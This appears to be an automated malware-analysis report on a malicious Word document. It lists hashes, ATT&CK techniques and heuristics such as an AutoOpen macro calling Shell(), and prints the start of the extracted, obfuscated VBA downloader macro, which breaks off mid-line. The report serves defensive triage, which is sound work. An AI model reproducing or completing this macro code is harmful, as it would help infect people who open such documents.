Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eac9c6a24d56b1d3…

MALICIOUS

Office (OLE)

84.5 KB Created: 2017-10-19 10:38:00 Authoring application: Microsoft Office Word First seen: 2017-10-28
MD5: de1465a4059906ecd58749f5fbf7884d SHA-1: b44a0b6bd3327e144718fca44bb8289446b173c8 SHA-256: eac9c6a24d56b1d3a27b7d6ea9fdf4b727e986f048af7b1a3ed8aa3c6680f407
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing a VBA macro. The macro utilizes the Shell() function, a critical heuristic firing, indicating an attempt to execute arbitrary commands. This is further supported by the 'OLE_VBA_PCODE_AUTOEXEC_EXEC' heuristic, which flags auto-executing VBA code that calls Shell. The presence of the 'macros.bas' artifact confirms the VBA macro's existence. The likely intent is to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6355576-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6355576-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 17413 bytes
SHA-256: 772bd043530d09d9919c62dd48156fbfd6718b683bae3702951ea4333304f0f5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 47 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"
Function QrvfqMivm()
SdRpjqvzt = "HA68A5NA5USzPsjvEfVHizjZRGjzRApuCmrwovZjSTqObWAwOklhIoHttwInnUdouXudAkGJFppKHRwuGhlhOIlNfzCrmmtzqCTDbXwidccTzwmbwNjGjvZNATVJ4PW3O"
SIXwwC = Mid(SdRpjqvzt, 11, 109)
iLPMisnI = SIXwwC
TZRXa = "396YYJDQFYWPPI36PkMNbPwccDpjSmCGdATAhwVTJzAmpZuLJqdbtjvjhWBENVKMUkGPPnCPOsDiPLnDIiXcIaMuEnTLzQGomoSFSivVnOMAfRRVizvjzhDtXMKcUrSwmOratiliiBpuOMOnVzdzVXqElYhGUTBwvONRZqcAMRAwsIfLzXGWNScPXmpUAiKOAswzwzNfVcmDWuLctWIwNiidlwtmAHAiHlwAJfNAJaAljZsdaNaiVNBVKVNzDbfOcEwkwLTOIHnndwzMGPMnjVMukaqnSNwiumJcdHfPtMVNZOsNYAtoOshGrBADCKC1F4BKE8N6RC1P"
rkjRhscT = Mid(TZRXa, 18, 298)
WbjMCvjAqXM = rkjRhscT
KkYaAO = "POFKTHTNIsrmQINnujNcRQfzNhKdvPaojBdpiTjtCcuttVVwTiLVczInNBQRYOItSDDOiXEaATZoWmEsMNKMDEMjtqcjDPUoUBaqRGRvikVIZTRbzYFKDvpOqTVovXXkwlUUMNaFvPhTiDKZYAjiKJkYMLzzkdzGMkKnzwPkzzPoNVfnJvQvosapBvIANcUSPbGztWaclwhKuvKqfMopNER29E36ERB6J0B8Z3BP"
ZIvnZ = Mid(KkYaAO, 9, 207)
vurRnkLUkY = ZIvnZ
GtzYGI = "HYMVNNC9YAARX8VHACobiOGzssFkfMqJStOTnJPIMcjcaMDwafruYYVpPBlztWMszSUBGEIJPBBCE9KGC2RBIWIU2V0"
zALLiIlVCW = Mid(GtzYGI, 16, 52)
dQXUOzz = zALLiIlVCW
llfAbdzQU = "YZO8CTJVmDnOWUiwYmPiumUnJqLQuFlSUBofFLJmnYjXoXcMfwXXazRCUZvbItahSVuUjzqMdcuWCzzmNwkwhNrWkmLjQhiuzCEScHjjHKuwDvzWZINJIizFiYktoKwvwzZAshJGSEoXStSpmoHHUUlSCzoEWmszNzzDVziszHrEqcmlFvHI9YT74U0Q2VIF4KJ59K1"
nBaBdR = Mid(llfAbdzQU, 6, 173)
wSoGII = nBaBdR
tuARjRBKTw = "D5V5cnNcnXjMamAEUUNWzFAMMWcDJUciIsHUIMJZTfIHQnjHhPvIkEvPLGvGLJSSvBDhifvHKnCRwswYqVWtZUwEzrIBQDOJNqLOkzcBTnzwBdTSKXQqnYsbCwkmWtqHZsEGhhoqsVZmWCDUYprtnYWowkMlOqiawpXIYMlciZwSzGEAvPNhBzTBWQIwVCcBqzphiuwLEPKOZEorfLqzczYzVWmHEoHjzwbzRXVATBcmmFbScQRJLcZtbpJ47LNFA9J2K"
pfXddWlV = Mid(tuARjRBKTw, 5, 246)
divuY = pfXddWlV
pZKGssCG = "MB41JCR9WMDEXAGTdBEuzIMklzpBDwDtPOmtLdfpYbfihtsZnJnVziozozGKDrsHSPBNQMIAVOWXdiCrEQOtJhvjZnFNWVmhiXPSsfJaBmAiMRWKvOGmczwlTVndHvdAcooFOkzYHosWhNTIQvRIPzEjZiwWrfTFJzFXcQvLOhfoGbEFBfMLdVldkEjjlcjbUmNhIwfAzGthTPczasVMTHQ3"
TMOzFsUU = Mid(pZKGssCG, 15, 200)
CaiZujJ = TMOzFsUU
BwOTDJ = "8FQIV872DKdzBMzpmMWsQawRSvjNautCuvsVniRXkDqLUctdQXBdnHBhsHttwEVIRbDP8WFBL4HB6H"
zQfizdWYEt = Mid(BwOTDJ, 9, 59)
tCfAuUfhmj = zQfizdWYEt
ntviBEuoV = "IRWQA7EPXDVTIAJCDPQHdcNiGMMAsVbbvCMlbdqiiGPcLbuosaAnwLrCpFrJpIHYimvjIjjaimZWMkTiSXHSVnfjKKwVmjoawrzYjKfJqaEJmUqEmMrRApDqHLYwmNoBwwXUnuwIszbviVzqTsjZpWaJnGQVljXclCLnwVRrNjZCNIImNiitiOMbYOjjddWLawJfJKtwbrMGzXvfwiHCBdwWqkPiokONW"
IfQNkmbD = Mid(ntviBEuoV, 19, 205)
RjMkjKMawnY = IfQNkmbD
kkXIkRZHHwY = "97PDC90DP8DOqrqamVhYoEKnCbqJLuOViYujYEEadadOEqiAAIDcjOmZFrrDRwVRvCfSwJBiQGuOawiMzqJCqmoUlVbjMAJfFLSBKMEqHVLZTXzJJfGboSbJOLjbiVVPzPJOdhCkmTvUaOBNVRXhuhrmkInwjcHlzwcEOlfcdWpVXGizKSFQzoVPXXiUtDEJLJVimzzkmvEYsVOdaooOXqoKaNjrHKiZRjJOlEMNSViCjzWCIAuFOqlVVKDZ86732DNKCP6WV2BPWPNVUBAX"
oVMhpCr = Mid(kkXIkRZHHwY, 12, 241)
TCrCudww = oVMhpCr
htUNHVciw = "P8OXXzarzzIfMukErYVKmLXVBADftzlilfInUCNMhakTqEcfjzwIrdFLQNSWwvzzNathmwjoLIdLbDizXXzuBdrIawXHkqQmdkGQKvtjPHziAtkMjVzYwDwkjlGpZcEVsqiqzNmbdPiufIHjLKY4WA11GELOQDIZIKOJDH0"
EzNAMAQwiG = Mid(htUNHVciw, 5, 143)
ihOqcoNF = EzNAMAQwiG
VTjHnH = "DIYE7XVfwuLEsrnVjwkztUzwUWidPRUITCFCkbHHtOQaCUVAZDRuDRzNHshdpsQiaClpllkIrcDiEYwzAhDLzaFBDsvrudSBwlAAjjPoSJDaOUIiwhcHoEfzzjmtqsONKBjSXvQUSPsqWinijMvMBKMtGADztVzavpQMoqKARIpZLodSwA25K6"
SrfRqCzM = Mid(VTjHnH, 6, 172)
XijPd = SrfRqCzM
jmhVVll = "FHM5DQKZ7LIIoGPHiRdcpaIqqfaUlNQuTfoXwUUWiYbMNrivNiHozqmqISVzwYpbuNoJSrJJzGtQwwcwAfHGFczdszOfzWYKiARzDUcVVzqrwVsMqXzTRiVSQKRUcdKaiiizfdufCllIlFhWFCpbZEtziwjsDG45690TKUS69FORYF156I5FRRERLF"
bopzZrpMkoX = Mid(jmhVVll, 10, 148)
KfQipzlq = bopzZrpMkoX
iGzohvOvwWH = "K4X5YYKmljzDhOWSvrUEwuTijGDmfSOjLbtZFnOvdhSuZuzPFKXHchdEuwXcrnGTSOsGVzMIdYbQbYJoJohVuGGdzoiHQmDpawcLCqtHzPiDGMcWpiSDFlZLHOJhTFsqVlpcvzlTuaYibDXkMIShTzkpZQDnhMosWniU3P8ZA8"
WCjYA = Mid(iGzohvOvwWH, 8, 157)
suoVNBlStEa = WCjYA
iLPMisnI suoVNBlStEa + ihOqco
... (truncated)

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